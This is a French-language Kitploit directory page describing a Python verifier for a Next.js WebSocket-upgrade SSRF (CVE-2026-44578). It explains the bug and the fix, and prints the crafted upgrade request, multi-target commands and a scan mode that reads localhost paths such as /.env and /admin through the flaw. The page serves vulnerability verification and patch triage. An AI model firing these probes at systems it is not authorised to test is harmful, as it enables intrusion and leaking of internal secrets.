Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
verify-ghsa-c4j6-fc7j-m34r — Vérificateur OOB pour GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF) | Kitploit
Outils/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

Vérificateur OOB pour GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

verify-ghsa-c4j6-fc7j-m34r

Vérificateur intégré pour GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Falsification de requête côté serveur (SSRF) dans Next.js via les demandes de mise à niveau WebSocket.

⚠️ Réservé aux tests de sécurité autorisés. Vous êtes responsable de vous assurer que vous avez la permission de tester chaque cible que vous passez à ce script.

La vulnérabilité

ChampValeur
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (Élevée) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Affecténext >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
Corrigé15.5.16, 16.2.5
Commit de correctionc4f69086
Non affectéHébergé sur Vercel ; output: "export" ; déploiements derrière un proxy inverse qui ne transmet pas Upgrade

Comment le bug fonctionne réellement (vérifié empiriquement avec 15.5.15 vs 15.5.16)

  1. Un attaquant ouvre une connexion TCP vers un processus Next.js auto-hébergé et envoie une mise à niveau WebSocket HTTP/1.1 dont l'URI de requête est une URL absolue :

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. Dans resolveRoutes, l'URL contient // (toute URI absolue le fait), ce qui correspond à la branche "normaliser les slashs répétés". Cette branche revient tôt avec { finished: true, statusCode: 308, parsedUrl: <mangled> }. Le normalisateur réduit http://host/path en http:/host/path (un seul slash).

  3. Dans router-server.ts, le gestionnaire de mise à niveau avant le correctif ignorait finished/statusCode et ne vérifiait que parsedUrl.protocol. Comme le protocole survit à la normalisation, il appelait proxyRequest(...).

  4. proxyRequest exécute url.format(parsedUrl) sur l'URL déformée, obtenant http:/host:port/path. http-proxy analyse cette cible, ne trouve pas d'hôte (url.parse('http:/...').host === null), et retombe sur sa destination par défaut : localhost:80 (ou localhost:443 pour https).

  5. Donc en pratique, le SSRF vous permet de faire ouvrir par Next une mise à niveau WebSocket vers localhost:80 / localhost:443 de l'hôte Next.js avec un chemin contrôlé par l'attaquant.

Le correctif (commit c4f69086) a fait en sorte que le gestionnaire de mise à niveau vérifie finished && !statusCode avant de proxyer. Le cas de normalisation 308 échoue désormais à la vérification !statusCode et la socket est fermée à la place.

Pourquoi un vérificateur OOB basé sur un callback ne fonctionnera pas pour ce CVE

Le proxy n'atteint jamais un hôte externe. Si vous configurez un interactsh / Burp Collaborator / webhook canary et attendez que le processus Next rappelle, il ne le fera pas — la connexion va vers localhost sur la machine cible. Ce vérificateur utilise donc un signal intégré lu depuis la socket de mise à niveau : un serveur vulnérable retourne un corps d'erreur reconnaissable, un serveur corrigé ne retourne rien.

Impact pratique

La cible du SSRF est restreinte mais toujours significative dans les déploiements réels :

  • Conteneurs sidecar / proxys inverses / panneaux d'administration co-localisés sur le même hôte qui lient 127.0.0.1:80 ou :443 et font confiance aux requêtes provenant de localhost.
  • Socket Docker exposée sur HTTP sur 127.0.0.1:80 (rare mais observé).
  • Traversée de chemin dans tout service HTTP localhost avec un chemin d'URI contrôlé par l'attaquant et la sémantique de mise à niveau WebSocket.

Les points de terminaison de métadonnées AWS / GCP / Azure (169.254.169.254) ne sont pas directement accessibles car le bug verrouille la destination sur localhost.

Modèle de détection

Pour chaque cible, le script ouvre une socket TCP brute (ou TLS), envoie la mise à niveau conçue, lit la réponse et produit deux signaux :

  • verdict — si le bug est présent.
  • impact_confirmed — si le SSRF a réellement exfiltré des données (c'est-à-dire qu'un service co-localisé sur localhost:80/443 de la cible a répondu et nous avons récupéré sa réponse).
RéponseVerdictimpact_confirmed
Contient Internal Server Errorvulnerablefalse — bug prouvé, mais le proxy n'a rien atteint sur localhost
Commence par HTTP/1.vulnerable_proxy_succeededtrue — données de réponse réelles exfiltrées
Vide / fermeture proprelikely_patchedfalse — couvre aussi "pas Next", "proxy inverse a supprimé Upgrade", "Vercel"
Identique au contrôle sans mise à niveaufront_end_interceptsfalse — le proxy front-end a court-circuité les deux sondes ; le SSRF n'a jamais atteint Next
Tout autre choseinconclusivefalse

Lorsque impact_confirmed est vrai, la sortie JSON inclut également upstream_status, upstream_server et upstream_content_type analysés à partir de la réponse divulguée (utile pour le triage / la rédaction de rapports).

Protection contre les faux positifs des proxys front-end

Par défaut, chaque cible reçoit également une sonde de contrôle avec la même ligne de requête d'URI absolue mais sans en-têtes Upgrade (Connection: close). Si le front-end retourne la même réponse aux deux sondes (ligne de statut + taille dans la tolérance), le propre front-end de l'hôte rejette la ligne de requête d'URI absolue elle-même — nginx 400, Apache 400, CDN edge — et le SSRF n'a jamais atteint Next. Le verdict est rétrogradé à front_end_intercepts et la sortie JSON inclut front_end_status et front_end_server analysés à partir de la réponse du proxy afin que l'opérateur puisse identifier ce qui intercepte.

Cela élimine un faux positif réel observé lorsque Next auto-hébergé se trouve derrière nginx/Apache : ces proxys rejettent la ligne de requête GET http:///x HTTP/1.1 de la sonde avec un 400 générique, que le détecteur interprétait auparavant comme vulnerable_proxy_succeeded. Passez --no-control-probe pour refuser et voir les verdicts bruts.

Prérequis

  • Python 3.10+
  • Aucune dépendance tierce (stdlib uniquement)

Utilisation

root@kitploit:~
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com

# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

Mode scan

--scan sonde une liste intégrée de chemins courants (modules de statut Apache/nginx, points de terminaison de santé et de métriques, Spring Boot Actuator, Go pprof, points de terminaison du daemon Docker, panneaux d'administration courants, fichiers de configuration divulgués, routes Elasticsearch, etc.) via le gadget SSRF.

Par défaut, le mode scan exécute une sonde baseline différentielle supplémentaire avec un chemin aléatoire inexistant par cible. Les sondes suivantes sont étiquetées DIFF uniquement lorsque leur signature (statut, longueur du corps) diverge de la baseline — les 404 uniformes d'un amont "n'a rien trouvé" sont marqués noise et n'augmentent pas le nombre de hits. Passez --no-differential pour signaler chaque sonde ayant atteint un service (comportement hérité).

La sortie est groupée par cible :

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 more 404 'noise' paths suppressed) ...
  -> 5 differential hit(s) / 58 probes
  -> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4

Les lignes DIFF sont les vrais hits — des chemins dont la réponse a divergé de la baseline de chemin aléatoire (statut différent, longueur de corps différente). Les lignes noise ont également atteint un service HTTP, mais ont produit la même réponse ennuyeuse que la baseline — généralement des 404 uniformes dont l'opérateur ne se soucie pas. Lorsque chaque sonde est noise et qu'il n'y a pas de divergence de baseline, le bug est toujours présent mais rien d'utile n'écoute sur localhost:80/443 de cet hôte.

Options

OptionDescriptionDéfaut
--target URLUne seule cible. Répétez pour plusieurs.—
--targets-file PATHFichier avec une cible par ligne.—
--probe-path PATHChemin utilisé dans l'URI absolue conçue. Atteint le service localhost de la cible à ce chemin (enregistré avec un suffixe de jeton par cible)./x
--scanÉnumère les chemins courants sur le service localhost de chaque cible. Envoie une sonde baseline différentielle par cible plus la liste de chemins.off
--scan-paths-file PATHListe de chemins personnalisée pour le mode scan (un par ligne). Implique --scan.built-in
--no-differentialEn mode --scan, saute la sonde baseline et signale chaque sonde ayant atteint un service (comportement hérité).off
--no-control-probeDésactive la protection de court-circuit du front-end (sonde supplémentaire sans Upgrade par cible). Utile lorsque les cibles sont strictement connues pour être des processus Next directs.off
--timeout SECDélai d'attente par socket.5
--concurrency NSondes parallèles.10
--insecureIgnore la vérification du certificat TLS. Requis avec --proxy lors du MITM TLS.off
--proxy URLTunnel à travers un proxy HTTP CONNECT (Burp / mitmproxy / ZAP). Prend en charge l'authentification de base via http://user:pass@host:port. Nécessite Python 3.11+ pour les cibles TLS.direct
--jsonÉmet des lignes JSON au lieu de texte lisible.off

Les cibles peuvent être host, host:port ou des URL complètes http(s)://....

Support proxy

Tunneliser toutes les sondes à travers un proxy HTTP CONNECT pour inspection dans Burp / mitmproxy / OWASP ZAP :

root@kitploit:~
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

Le proxy voit un CONNECT host:port suivi de la charge utile de mise à niveau brute — utile lorsque vous voulez que Burp enregistre/rejoue/modifie les sondes SSRF.

Reproduction locale

Vous pouvez exécuter un laboratoire vulnérable en cinq commandes :

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

Sortie :

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

Répétez avec [email protected] et vous devriez voir verdict=likely_patched.

Démonstration d'impact (exfiltration de données réelles)

demo_impact.sh exécute Next sur :80 (sa cible SSRF verrouillée sur localhost est donc le même processus Next) et lit le propre HTML de Next via le bug. Nécessite sudo pour la liaison de port privilégié.

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

La sortie attendue se termine par IMPACT CONFIRMED — SSRF a atteint un service sur le localhost cible et a lu les données de réponse.

Mises en garde

  • Faux négatifs : tout proxy inverse devant Next qui ne transmet pas l'en-tête Upgrade masquera la vulnérabilité ; le script signalera likely_patched. Re-testez directement contre le processus Next si possible.
  • Faux positifs : la chaîne littérale Internal Server Error pourrait théoriquement être retournée par un proxy amont lui-même. Pour écarter cela, renvoyez la même charge utile avec Connection: close au lieu de Connection: Upgrade — un Next réellement vulnérable cesse de retourner le corps Internal Server Error dans ce cas (chemin de code différent).
  • Cibles HTTP/2 uniquement : non prises en charge. next start utilise par défaut HTTP/1.1.

Utilisation responsable

Testez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite et écrite d'évaluer.

Références

  • Avis : https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Version Next.js v15.5.16 : https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Version Next.js v16.2.5 : https://github.com/vercel/next.js/releases/tag/v16.2.5
  • Commit de correction : https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

Licence

MIT

Télécharger l’outil